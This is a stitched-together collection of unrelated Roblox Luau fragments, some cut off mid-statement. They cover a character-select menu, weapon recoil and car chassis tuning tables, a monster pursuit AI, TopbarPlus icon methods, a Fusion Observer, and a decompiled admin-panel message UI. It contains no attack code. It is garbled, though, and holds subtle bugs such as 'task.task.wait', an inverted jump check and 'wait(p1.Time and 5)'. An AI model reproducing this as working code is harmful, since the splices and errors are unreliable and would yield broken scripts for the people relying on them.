local Clear = function() for _,v in pairs(Content:GetChildren()) do if v ~= UIGrid then v:Destroy() end end end local Add = function(char) local charPrev = char:GetChildren()[1] assert(charPrev,"[Error] Character doesn't exist in module " .. char.Name) -- base frame local ViewportFrame = Instance.new("ViewportFrame") ViewportFrame.Name = char.Name ViewportFrame.Parent = Content ViewportFrame.BorderSizePixel = 0 ViewportFrame.BackgroundColor3 = Color3.fromRGB(25,25,25) local Uicorner = game.ServerStorage.Extra:WaitForChild("UICorner"):Clone() Uicorner.Parent = ViewportFrame -- character preview local clone = charPrev:Clone() clone.Parent = ViewportFrame -- camera local camera = Instance.new("Camera") camera.Parent = ViewportFrame camera.CFrame = CFrame.new( (clone:WaitForChild("Head").CFrame * CFrame.new(0,0,-8)).Position + Vector3.new(3,-2,0), clone.Head.Position ) camera.FieldOfView = 30 ViewportFrame.CurrentCamera = camera -- button local button = Instance.new("TextButton") button.Parent = ViewportFrame button.Size = UDim2.new(1,0,1,0) button.BackgroundTransparency = 1 button.Text = "" button.MouseButton1Click:Connect(function() if Debounce then return end Debounce = true; SelectedCharacter.Value = char wait(1) Debounce = false end) end local Refresh = function() Clear(); local cellsize = GetCellSize:InvokeClient(Player) UIGrid.CellSize = UDim2.new(0,cellsize,0,cellsize) for _,v in pairs(Characters:GetChildren()) do Add(v); end end Refresh();
--CHANGE THIS TO FALSE IF YOU DO NOT WANT TO SUPPORT THE CREATOR WITH ADVERTISEMENTS.
local doModelAdvertisement = true
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {17,18} --- Vertical Recoil ,HRecoil = {5,7} --- Horizontal Recoil ,AimRecover = .7 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.5 --- Vertical Punch ,HPunchBase = 1.7 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 3.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.56 --- Min bullet spread value | Studs ,MaxSpread = 35 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
-- FEATURE METHODS
function Icon:bindEvent(iconEventName, eventFunction) local event = self[iconEventName] assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!") assert(typeof(eventFunction) == "function", "argument[2] must be a function!") self._bindedEvents[iconEventName] = event:Connect(function(...) eventFunction(self, ...) end) return self end function Icon:unbindEvent(iconEventName) local eventConnection = self._bindedEvents[iconEventName] if eventConnection then eventConnection:Disconnect() self._bindedEvents[iconEventName] = nil end return self end function Icon:bindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = true return self end function Icon:unbindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = nil return self end function Icon:lock() self.instances.iconButton.Active = false self.locked = true task.defer(function() -- We do this to prevent the overlay remaining enabled if :lock is called right after an icon is selected if self.locked then self.overlayLocked = true end end) return self end function Icon:unlock() self.instances.iconButton.Active = true self.locked = false self.overlayLocked = false return self end function Icon:debounce(seconds) self:lock() task.task.wait(seconds) self:unlock() return self end function Icon:autoDeselect(bool) if bool == nil then bool = true end self.deselectWhenOtherIconSelected = bool return self end function Icon:setTopPadding(offset, scale) local newOffset = offset or 4 local newScale = scale or 0 self.topPadding = UDim.new(newScale, newOffset) self.updated:Fire() return self end function Icon:bindToggleItem(guiObjectOrLayerCollector) if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then error("Toggle item must be a GuiObject or LayerCollector!") end self.toggleItems[guiObjectOrLayerCollector] = true self:updateSelectionInstances() return self end function Icon:updateSelectionInstances() -- This is to assist with controller navigation and selection for guiObjectOrLayerCollector, _ in pairs(self.toggleItems) do local buttonInstancesArray = {} for _, instance in pairs(guiObjectOrLayerCollector:GetDescendants()) do if (instance:IsA("TextButton") or instance:IsA("ImageButton")) and instance.Active then table.insert(buttonInstancesArray, instance) end end self.toggleItems[guiObjectOrLayerCollector] = buttonInstancesArray end end function Icon:addBackBlocker(func) -- This is custom behaviour that can block the default behaviour of going back or closing a page when Controller B is pressed -- If the function returns ``true`` then the B Back behaviour is blocked -- This is useful for instance when a user is purchasing an item and you don't want them to return to the previous page -- if they pressed B during this pending period table.insert(self.blockBackBehaviourChecks, func) return self end function Icon:unbindToggleItem(guiObjectOrLayerCollector) self.toggleItems[guiObjectOrLayerCollector] = nil return self end function Icon:_setToggleItemsVisible(bool, byIcon) for toggleItem, _ in pairs(self.toggleItems) do if not byIcon or byIcon.toggleItems[toggleItem] == nil then local property = "Visible" if toggleItem:IsA("LayerCollector") then property = "Enabled" end toggleItem[property] = bool end end end function Icon:call(func) task.spawn(func, self) return self end function Icon:give(userdata) local valueToGive = userdata if typeof(userdata) == "function" then local returnValue = userdata(self) if typeof(userdata) ~= "function" then valueToGive = returnValue else valueToGive = nil end end if valueToGive ~= nil then self._maid:give(valueToGive) end return self end
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- --
local Monster = {} -- Create the monster class function Monster:GetCFrame() -- Returns the CFrame of the monster's humanoidrootpart local humanoidRootPart = Self:FindFirstChild('HumanoidRootPart') if humanoidRootPart ~= nil and humanoidRootPart:IsA('BasePart') then return humanoidRootPart.CFrame else return CFrame.new() end end function Monster:GetMaximumDetectionDistance() -- Returns the maximum detection distance local setting = Settings.MaximumDetectionDistance.Value if setting < 0 then return math.huge else return setting end end function Monster:SearchForTarget() -- Finds the closest player and sets the target local players = Info.Players:GetPlayers() local closestCharacter, closestCharacterDistance for i=1, #players do local player = players[i] if player.Neutral or player.TeamColor ~= Settings.FriendlyTeam.Value then local character = player.Character if character ~= nil and character:FindFirstChild('Humanoid') ~= nil and character.Humanoid:IsA('Humanoid') then local distance = player:DistanceFromCharacter(Monster:GetCFrame().p) if distance < Monster:GetMaximumDetectionDistance() then if closestCharacter == nil then closestCharacter, closestCharacterDistance = character, distance else if closestCharacterDistance > distance then closestCharacter, closestCharacterDistance = character, distance end end end end end end if closestCharacter ~= nil then Mind.CurrentTargetHumanoid.Value = closestCharacter.Humanoid end end function Monster:TryRecomputePath() if Data.AutoRecompute or tick() - Data.LastRecomputePath > 1/Info.RecomputePathFrequency then Monster:RecomputePath() end end function Monster:GetTargetCFrame() local targetHumanoid = Mind.CurrentTargetHumanoid.Value if Monster:TargetIsValid() then return targetHumanoid.Torso.CFrame else return CFrame.new() end end function Monster:IsAlive() return Self.Humanoid.Health > 0 and Self.Humanoid.Torso ~= nil end function Monster:TargetIsValid() local targetHumanoid = Mind.CurrentTargetHumanoid.Value if targetHumanoid ~= nil and targetHumanoid:IsA 'Humanoid' and targetHumanoid.Torso ~= nil and targetHumanoid.Torso:IsA 'BasePart' then return true else return false end end function Monster:HasClearLineOfSight() -- Going to cast a ray to see if I can just see my target local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p local hit, pos = Workspace:FindPartOnRayWithIgnoreList( Ray.new( myPos, targetPos - myPos ), { Self, Mind.CurrentTargetHumanoid.Value.Parent } ) if hit == nil then return true else return false end end function Monster:RecomputePath() if not Data.Recomputing then if Monster:IsAlive() and Monster:TargetIsValid() then if Monster:HasClearLineOfSight() then Data.AutoRecompute = true Data.PathCoords = { Monster:GetCFrame().p, Monster:GetTargetCFrame().p } Data.LastRecomputePath = tick() Data.CurrentNode = nil Data.CurrentNodeIndex = 2 -- Starts chasing the target without evaluating its current position else -- Do pathfinding since you can't walk straight Data.Recomputing = true -- Basically a debounce. Data.AutoRecompute = false local path = Info.PathfindingService:ComputeSmoothPathAsync( Monster:GetCFrame().p, Monster:GetTargetCFrame().p, 500 ) Data.PathCoords = path:GetPointCoordinates() Data.Recomputing = false Data.LastRecomputePath = tick() Data.CurrentNode = nil Data.CurrentNodeIndex = 1 end end end end function Monster:Update() Monster:ReevaluateTarget() Monster:SearchForTarget() Monster:TryRecomputePath() Monster:TravelPath() end function Monster:TravelPath() local closest, closestDistance, closestIndex local myPosition = Monster:GetCFrame().p local skipCurrentNode = Data.CurrentNode ~= nil and (Data.CurrentNode - myPosition).magnitude < 3 for i=Data.CurrentNodeIndex, #Data.PathCoords do local coord = Data.PathCoords[i] if not (skipCurrentNode and coord == Data.CurrentNode) then local distance = (coord - myPosition).magnitude if closest == nil then closest, closestDistance, closestIndex = coord, distance, i else if distance < closestDistance then closest, closestDistance, closestIndex = coord, distance, i else break end end end end -- if closest ~= nil then Data.CurrentNode = closest Data.CurrentNodeIndex = closestIndex local humanoid = Self:FindFirstChild 'Humanoid' if humanoid ~= nil and humanoid:IsA'Humanoid' then humanoid:MoveTo(closest) end if Monster:IsAlive() and Monster:TargetIsValid() then Monster:TryJumpCheck() Monster:TryAttack() end if closestIndex == #Data.PathCoords then -- Reached the end of the path, force a new check Data.AutoRecompute = true end end end function Monster:TryJumpCheck() if tick() - Data.LastJumpCheck > 1/Info.JumpCheckFrequency then Monster:JumpCheck() end end function Monster:TryAttack() if tick() - Data.LastAttack > 1/Settings.AttackFrequency.Value then Monster:Attack() end end function Monster:Attack() local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p if (myPos - targetPos).magnitude <= Settings.AttackRange.Value then Mind.CurrentTargetHumanoid.Value:TakeDamage(Settings.AttackDamage.Value) Data.LastAttack = tick() wait(2) Data.AttackTrack:Play() end end function Monster:JumpCheck() -- Do a raycast to check if we need to jump local myCFrame = Monster:GetCFrame() local checkVector = (Monster:GetTargetCFrame().p - myCFrame.p).unit*2 local hit, pos = Workspace:FindPartOnRay( Ray.new( myCFrame.p + Vector3.new(0, -2.4, 0), checkVector ), Self ) if hit ~= nil and not hit:IsDescendantOf(Mind.CurrentTargetHumanoid.Value.Parent) then -- Do a slope check to make sure we're not walking up a ramp local hit2, pos2 = Workspace:FindPartOnRay( Ray.new( myCFrame.p + Vector3.new(0, -2.3, 0), checkVector ), Self ) if hit2 == hit then if ((pos2 - pos)*Vector3.new(1,0,1)).magnitude < 0.05 then -- Will pass for any ramp with <2 slope Self.Humanoid.Jump = false end end end Data.LastJumpCheck = tick() end function Monster:Connect() Mind.CurrentTargetHumanoid.Changed:connect(function(humanoid) if humanoid ~= nil then assert(humanoid:IsA'Humanoid', 'Monster target must be a humanoid') Monster:RecomputePath() end end) Self.Respawn.OnInvoke = function(point) Monster:Respawn(point) end end function Monster:Initialize() Monster:Connect() if Settings.AutoDetectSpawnPoint.Value then Settings.SpawnPoint.Value = Monster:GetCFrame().p end end function Monster:Respawn(point) local point = point or Settings.SpawnPoint.Value for index, obj in next, Data.BaseMonster:Clone():GetChildren() do if obj.Name == 'Configurations' or obj.Name == 'Mind' or obj.Name == 'Respawned' or obj.Name == 'Died' or obj.Name == 'MonsterScript' or obj.Name == 'Respawn' then obj:Destroy() else Self[obj.Name]:Destroy() obj.Parent = Self end end Monster:InitializeUnique() Self.Parent = Workspace Self.HumanoidRootPart.CFrame = CFrame.new(point) Settings.SpawnPoint.Value = point Self.Respawned:Fire() end function Monster:InitializeUnique() Data.AttackTrack = Self.Humanoid:LoadAnimation(script.Attack) end function Monster:ReevaluateTarget() local currentTarget = Mind.CurrentTargetHumanoid.Value if currentTarget ~= nil and currentTarget:IsA'Humanoid' then local character = currentTarget.Parent if character ~= nil then local player = Info.Players:GetPlayerFromCharacter(character) if player ~= nil then if not player.Neutral and player.TeamColor == Settings.FriendlyTeam.Value then Mind.CurrentTargetHumanoid.Value = nil end end end if currentTarget == Mind.CurrentTargetHumanoid.Value then local torso = currentTarget.Torso if torso ~= nil and torso:IsA 'BasePart' then if Settings.CanGiveUp.Value and (torso.Position - Monster:GetCFrame().p).magnitude > Monster:GetMaximumDetectionDistance() then Mind.CurrentTargetHumanoid.Value = nil end end end end end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return ClassInformationTable:GetClassFolder(player,"Paladin").XP.Value >= 10 end
--VARIABLES
local Proximity = game.Workspace.ComplaintDep.Granade.ProximityPrompt local player = game.Players.LocalPlayer local gui = script.Parent.Dont.TextLabel
--[[ Adds a change listener. When the watched state changes value, the listener will be fired. Returns a function which, when called, will disconnect the change listener. As long as there is at least one active change listener, this Observer will be held in memory, preventing GC, so disconnecting is important. ]]
function class:onChange(callback: () -> ()): () -> () local uniqueIdentifier = {} self._numChangeListeners += 1 self._changeListeners[uniqueIdentifier] = callback -- disallow gc (this is important to make sure changes are received) strongRefs[self] = true local disconnected = false return function() if disconnected then return end disconnected = true self._changeListeners[uniqueIdentifier] = nil self._numChangeListeners -= 1 if self._numChangeListeners == 0 then -- allow gc if all listeners are disconnected strongRefs[self] = nil end end end local function Observer(watchedState) local self = setmetatable({ type = "State", kind = "Observer", dependencySet = {[watchedState] = true}, dependentSet = {}, _changeListeners = {}, _numChangeListeners = 0, }, CLASS_METATABLE) -- add this object to the watched state's dependent set watchedState.dependentSet[self] = true return self end return Observer
--// Tables
local L_95_ = { "285421759"; "151130102"; "151130171"; "285421804"; "287769483"; "287769415"; "285421687"; "287769261"; "287772525"; "287772445"; "287772351"; "285421819"; "287772163"; } local L_96_ = { "2282590559"; "2282583154"; "2282584222"; "2282584708"; "2282585118"; "2282586860"; "2282587182"; "2282587628"; "2282588117"; "2282588433"; "2282576973"; "2282577954"; "2282578595"; "2282579272"; "2282579760"; "2282580279"; "2282580551"; "2282580935"; "2282582377"; "2282582717"; "2282449653"; } local L_97_ = { "2297264589"; "2297264920"; "2297265171"; "2297265394"; "2297266410"; "2297266774"; "2297267106"; "2297267463"; "2297267748"; "2297268261"; "2297268486"; "2297268707"; "2297268894"; "2297269092"; "2297269542"; "2297269946"; "2297270243"; "2297270591"; "2297270984"; "2297271381"; "2297271626"; "2297272112"; "2297272424"; } local L_98_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace) L_98_.Name = "BulletModel: " .. L_2_.Name local L_99_ local L_100_ = L_24_.Ammo local L_101_ = L_24_.StoredAmmo * L_24_.MagCount local L_102_ = L_24_.ExplosiveAmmo IgnoreList = { L_3_, L_98_, L_5_ }
-------------------------------------------------------------------------
local function FlashRed(object) local origColor = object.BrickColor local redColor = BrickColor.new("Really red") local start = tick() local duration = 4 spawn(function() while object and tick() - start < duration do object.BrickColor = origColor task.wait(0.13) if object then object.BrickColor = redColor end task.wait(0.13) end end) end
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.W , Brake = Enum.KeyCode.S , SteerLeft = Enum.KeyCode.A , SteerRight = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[Weight and CG]]
Tune.Weight = 3000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 1 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- Signal:Fire(...) implemented by running the handler functions on the -- coRunnerThread, and any time the resulting thread yielded without returning -- to us, that means that it yielded to the Roblox scheduler and has been taken -- over by Roblox scheduling, meaning we have to make a new coroutine runner. --[=[ @param ... any Fire the signal, which will call all of the connected functions with the given arguments. ```lua signal:Fire("Hello") -- Any number of arguments can be fired: signal:Fire("Hello", 32, {Test = "Test"}, true) ``` ]=]
function Signal:Fire(...) local item = self._handlerListHead while item do if item.Connected then if not freeRunnerThread then freeRunnerThread = coroutine.create(runEventHandlerInFreeThread) end task.spawn(freeRunnerThread, item._fn, ...) end item = item._next end end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; return function(p1) local v1 = client.UI.Prepare(script.Parent.Parent); local l__PlayerGui__2 = service.PlayerGui; local l__Frame__3 = v1.Frame; local l__Message__4 = v1.Frame.Message; local l__Title__5 = v1.Frame.Title; local l__gIndex__6 = p1.gIndex; local l__Title__7 = p1.Title; local l__Message__8 = p1.Message; local l__Scroll__9 = p1.Scroll; if not p1.Message or not p1.Title then v1:Destroy(); end; l__Title__5.Text = l__Title__7; l__Message__4.Text = l__Message__8; l__Title__5.TextTransparency = 1; l__Message__4.TextTransparency = 1; l__Title__5.TextStrokeTransparency = 1; l__Message__4.TextStrokeTransparency = 1; l__Frame__3.BackgroundTransparency = 1; local v10 = { Type = "Full Screen Message", Title = l__Title__7, Message = l__Message__8, Icon = "rbxassetid://7501175708", Time = os.date("%X"), Function = nil }; table.insert(client.Variables.CommunicationsHistory, v10); service.Events.CommsCenter:Fire(v10); local v11 = service.New("BlurEffect"); v11.Enabled = false; v11.Size = 0; v11.Parent = workspace.CurrentCamera; local u1 = false; local l__gTable__2 = p1.gTable; local function u3() if not u1 then for v12 = 1, 10 do if v11.Size > 0 then v11.Size = v11.Size - 1; end; if l__Message__4.TextTransparency < 1 then l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.1; l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.1; end; if l__Message__4.TextStrokeTransparency < 1 then l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.1; l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.1; end; if l__Frame__3.BackgroundTransparency < 1 then l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.03; end; wait(0.016666666666666666); end; v11.Enabled = false; v11:Destroy(); service.UnWrap(v1):Destroy(); u1 = true; end; end; function l__gTable__2.CustomDestroy() if not u1 then u1 = true; pcall(u3); end; pcall(function() service.UnWrap(v1):Destroy(); end); pcall(function() v11:Destroy(); end); end; (function() if not u1 then v11.Enabled = true; l__gTable__2:Ready(); for v13 = 1, 10 do if v11.Size < 10 then v11.Size = v11.Size + 1; end; if l__Message__4.TextTransparency > 0.1 then l__Message__4.TextTransparency = l__Message__4.TextTransparency - 0.1; l__Title__5.TextTransparency = l__Title__5.TextTransparency - 0.1; end; if l__Message__4.TextStrokeTransparency > 0.5 then l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency - 0.1; l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency - 0.1; end; if l__Frame__3.BackgroundTransparency > 0.3 then l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency - 0.03; end; wait(0.016666666666666666); end; end; end)(); wait(p1.Time and 5); if not u1 then u3(); end; end;
--[[Engine]]
--Torque Curve Tune.Horsepower = 155 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 600 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 2100 -- Use sliders to manipulate values Tune.Redline = 2700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 2500 Tune.PeakSharpness = 2.5 Tune.CurveMult = 0.15 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[ VRNavigation --]]
local VRService = game:GetService("VRService") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local PathfindingService = game:GetService("PathfindingService") local ContextActionService = game:GetService("ContextActionService") local StarterGui = game:GetService("StarterGui")
-- Backwards compatibility
Promise.async = Promise.defer
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- ScrollBar
do -- AutoButtonColor doesn't always reset properly local function ResetButtonColor(button) local active = button.Active button.Active = not active button.Active = active end local function ArrowGraphic(size,dir,scaled,template) local Frame = Create('Frame',{ Name = "Arrow Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size,0,size); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end local transform if dir == nil or dir == 'Up' then function transform(p,s) return p,s end elseif dir == 'Down' then function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end elseif dir == 'Left' then function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end elseif dir == 'Right' then function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end end local scale if scaled then function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end else function scale(p,s) return p,s end end local o = math.floor(size/4) if size%2 == 0 then local n = size/2-1 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,(i+1)*2,0,1) )) t.Position = p t.Size = s t.Parent = Frame end else local n = (size-1)/2 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,i*2+1,0,1) )) t.Position = p t.Size = s t.Parent = Frame end end if size%4 > 1 then local t = template:Clone() local p,s = scale(transform( UDim2.new(0,0,0,size-o-1), UDim2.new(0,size,0,1) )) t.Position = p t.Size = s t.Parent = Frame end return Frame end local function GripGraphic(size,dir,spacing,scaled,template) local Frame = Create('Frame',{ Name = "Grip Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size.x,0,size.y); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end spacing = spacing or 2 local scale if scaled then function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end else function scale(p) return p end end if dir == 'Vertical' then for i=0,size.x-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,1,0,size.y)) t.Position = scale(UDim2.new(0,i,0,0)) t.Parent = Frame end elseif dir == nil or dir == 'Horizontal' then for i=0,size.y-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,size.x,0,1)) t.Position = scale(UDim2.new(0,0,0,i)) t.Parent = Frame end end return Frame end local mt = { __index = { GetScrollPercent = function(self) return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace) end; CanScrollDown = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end; CanScrollUp = function(self) return self.ScrollIndex > 0 end; ScrollDown = function(self) self.ScrollIndex = self.ScrollIndex + self.PageIncrement self:Update() end; ScrollUp = function(self) self.ScrollIndex = self.ScrollIndex - self.PageIncrement self:Update() end; ScrollTo = function(self,index) self.ScrollIndex = index self:Update() end; SetScrollPercent = function(self,percent) self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5) self:Update() end; }; } mt.__index.CanScrollRight = mt.__index.CanScrollDown mt.__index.CanScrollLeft = mt.__index.CanScrollUp mt.__index.ScrollLeft = mt.__index.ScrollUp mt.__index.ScrollRight = mt.__index.ScrollDown function ScrollBar(horizontal) -- create row scroll bar local ScrollFrame = Create('Frame',{ Name = "ScrollFrame"; Position = horizontal and UDim2.new(0,0,1,-GUI_SIZE) or UDim2.new(1,-GUI_SIZE,0,0); Size = horizontal and UDim2.new(1,0,0,GUI_SIZE) or UDim2.new(0,GUI_SIZE,1,0); BackgroundTransparency = 1; Create('ImageButton',{ Name = "ScrollDown"; Position = horizontal and UDim2.new(1,-GUI_SIZE,0,0) or UDim2.new(0,0,1,-GUI_SIZE); Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE); BackgroundColor3 = GuiColor.Button; BorderColor3 = GuiColor.Border; --BorderSizePixel = 0; }); Create('ImageButton',{ Name = "ScrollUp"; Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE); BackgroundColor3 = GuiColor.Button; BorderColor3 = GuiColor.Border; --BorderSizePixel = 0; }); Create('ImageButton',{ Name = "ScrollBar"; Size = horizontal and UDim2.new(1,-GUI_SIZE*2,1,0) or UDim2.new(1,0,1,-GUI_SIZE*2); Position = horizontal and UDim2.new(0,GUI_SIZE,0,0) or UDim2.new(0,0,0,GUI_SIZE); AutoButtonColor = false; BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902); BorderColor3 = GuiColor.Border; --BorderSizePixel = 0; Create('ImageButton',{ Name = "ScrollThumb"; AutoButtonColor = false; Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE); BackgroundColor3 = GuiColor.Button; BorderColor3 = GuiColor.Border; --BorderSizePixel = 0; }); }); }) local graphicTemplate = Create('Frame',{ Name="Graphic"; BorderSizePixel = 0; BackgroundColor3 = GuiColor.Border; }) local graphicSize = GUI_SIZE/2 local ScrollDownFrame = ScrollFrame.ScrollDown local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate) ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2) ScrollDownGraphic.Parent = ScrollDownFrame local ScrollUpFrame = ScrollFrame.ScrollUp local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate) ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2) 